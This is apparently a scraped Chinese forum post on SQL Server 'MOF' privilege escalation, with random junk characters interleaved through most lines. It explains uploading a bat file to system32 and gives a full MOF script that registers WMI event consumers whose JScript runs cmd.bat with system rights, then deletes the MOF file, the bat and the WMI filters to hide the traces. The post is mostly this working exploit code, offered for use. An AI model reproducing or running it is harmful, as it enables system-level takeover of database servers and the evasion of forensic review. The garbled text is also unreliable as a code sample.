这个sql提权MOF需要运行 system下的文件,不能定义路径。
/ d* \! o; L' Q2 t6 X需要将要运行的命令写入到bat上传到system32目录,然后执行。
4 X$ M7 S% ~# c4 q7 i7 r6 j' L5 G8 _2 `$ @1 F
这个sql提权MOF需要运行 system下的文件,不能定义路径。* a$ g* D+ {4 q* y6 i# R
需要将要运行的命令写入到bat上传到system32目录,然后执行。
! f) \8 T7 t, k: ^: Q( E+ V; `: f# }7 ~& a* z* p* Q X
#pragma4 q( {; t& ?, H2 [ c4 D/ v) D4 i
namespace("\\\\.\\root\\cimv2")
& p! T N6 e0 l- c9 v& {* f" b class
0 u) I6 Y+ ?% R- |! a MyClass547
5 f# Z# M" c7 V1 Z3 j+ J { [key]% D$ Z+ T) n, c' [( i
string
4 L& r, l- N H" f9 g Name;0 @9 b$ @5 @+ s
};# j! l7 P" @! S7 F1 I$ o+ ?
class/ W* }, t! S9 z6 V' \/ K, o5 d9 u* v8 W
ActiveScriptEventConsumer: v8 I3 d- k6 S6 ]! u% O
: __EventConsumer { [key]
: G7 i% U% J7 R string
* _: {" @; i4 v7 I; c5 U* q Name; [not_null]. v& c f' o% n- ^. q5 V1 o
string9 l* Y0 I) h- M3 E
ScriptingEngine; string7 b6 J" @) S% i5 |! ?. T
ScriptFileName; [template]
3 j! O& s) \7 w, V7 x string* Q- K( c- m3 A: Y' C7 v
ScriptText; uint32 KillTimeout;" X+ F; J0 e% b$ X
}; instance of __Win32Provider as $P {" ?0 r( f2 x( x# F9 q+ ^! G3 G a
Name2 b4 e9 l1 S& ~3 M2 P
=% u( }9 {9 L* x- R4 Z7 d( k
"ActiveScriptEventConsumer"; CLSID =
' w. a. {- T' x9 u$ H/ H S "{266c72e7-62e8-11d1-ad89-00c04fd8fdff}";' o! l7 {; u7 |: |
PerUserInitialization
% Z8 T5 g ~" ]$ b! V = TRUE;- x: @( l4 C* T. P8 h% E. p
}; instance of __EventConsumerProviderRegistration { Provider
& |" j1 A! z+ G5 d; W7 r = $P; ConsumerClassNames" \2 V& M! h$ s
=
( f9 ~3 X6 E9 B5 }1 l7 f {"ActiveScriptEventConsumer"};
2 H8 k0 W% v0 Z };0 ?+ r7 C$ J2 n2 ?: w6 t6 g
Instance of ActiveScriptEventConsumer& D# e$ `& M- j q- r
as $cons { Name) {5 d! d1 {7 M$ A% f
=' u$ @, R+ i( E8 j* P
"ASEC"; ScriptingEngine
7 i% E8 Y$ B7 ] b: y2 g =
4 D, V. n' P- S1 S0 E$ T "JScript"; ScriptText- l* T6 r: e/ t) b: W
=% W2 H+ a3 d* C' `+ z6 A
"\ntry {var s = new ActiveXObject(\"Wscript.Shell\");\ns.Run(\"cmd.bat\");} catch (err) {};\nsv = GetObject(\"winmgmts:root\\\\cimv2\");try {sv.Delete(\"MyClass547\");} catch (err) {};try {sv.Delete(\"__EventFilter.Name='instfilt'\");} catch (err) {};try {sv.Delete(\"ActiveScriptEventConsumer.Name='ASEC'\");} catch(err) {};"; };
5 f/ s* e% y/ k% }" n% ~$ [; b Instance of ActiveScriptEventConsumer
6 n/ e2 g0 A# Z as $cons2 { Name( m2 `6 W c9 r/ r) A7 v
=
R2 B1 L) B! L* K2 r "qndASEC"; ScriptingEngine8 U/ Q4 P5 _. O5 u
=
! y3 e% ^& ~5 U8 [8 M "JScript"; ScriptText
4 y- _9 u' j' i =
# h5 B! z3 `4 x# m1 z3 p' a+ E0 o5 A "\nvar objfs = new ActiveXObject(\"Scripting.FileSystemObject\");\ntry {var f1 = objfs.GetFile(\"wbem\\\\mof\\\\good\\\\hBsBa.mof\");\nf1.Delete(true);} catch(err) {};\ntry {\nvar f2 = objfs.GetFile(\"cmd.bat\");\nf2.Delete(true);\nvar s = GetObject(\"winmgmts:root\\\\cimv2\");s.Delete(\"__EventFilter.Name='qndfilt'\");s.Delete(\"ActiveScriptEventConsumer.Name='qndASEC'\");\n} catch(err) {};";
( Y2 q" w5 r' w2 \& b1 C9 t5 X }; instance of __EventFilter as $Filt { Name9 o' a9 A0 f; C$ U
=0 _5 a7 H2 k) I0 g: s! U$ _
"instfilt"; Query
7 Y* o, K- N: t. k0 X4 [ S+ ~* Y =
0 D. m; f2 z( C3 P6 I' M% ~ "SELECT * FROM __InstanceCreationEvent WHERE TargetInstance.__class = \"MyClass547\""; QueryLanguage- D: E* _6 ^9 W* d* f
=( v, f9 X0 W7 K2 j0 o2 {! k* R8 E7 Z
"WQL"; }; instance of __EventFilter as $Filt2 { Name( T$ B4 z; z" A* I" ~
=2 s d* V" r6 S% M" ~
"qndfilt"; Query; b! b% \2 `# M9 }# v# [, E
= U# ]8 ]0 u: M2 C/ }* G. ~" \
"SELECT * FROM __InstanceDeletionEvent WITHIN 1 WHERE TargetInstance ISA \"Win32_Process\" AND TargetInstance.Name = \"cmd.bat\""; QueryLanguage
# h# D# T2 c! r8 g$ w/ L+ U4 I =
4 t( |& A' i2 A: y "WQL"; }; instance of __FilterToConsumerBinding as $bind { Consumer
, Q" B1 ?: D5 ]7 \ = $cons; Filter8 g0 _7 i; F8 _/ k2 k2 X1 Y
= $Filt;) g' Q" G, X/ ^9 I5 H/ A$ O
}; instance of __FilterToConsumerBinding as $bind2 { Consumer; h# l, N7 |3 U) z, W6 u0 z
= $cons2; Filter
; ^" M; d* u6 O3 s9 y- E = $Filt2;& Q9 H5 K' m f+ a: C! a
}; instance of MyClass547
) l% I- M: g8 p4 X& } as $MyClass { Name) a8 {1 Z! {. H1 K! e/ C* I& {* X
=0 Z) k4 J$ j% E; A2 P8 i& O
"ClassConsumer";
& g# z0 Z! g5 \7 @ }; |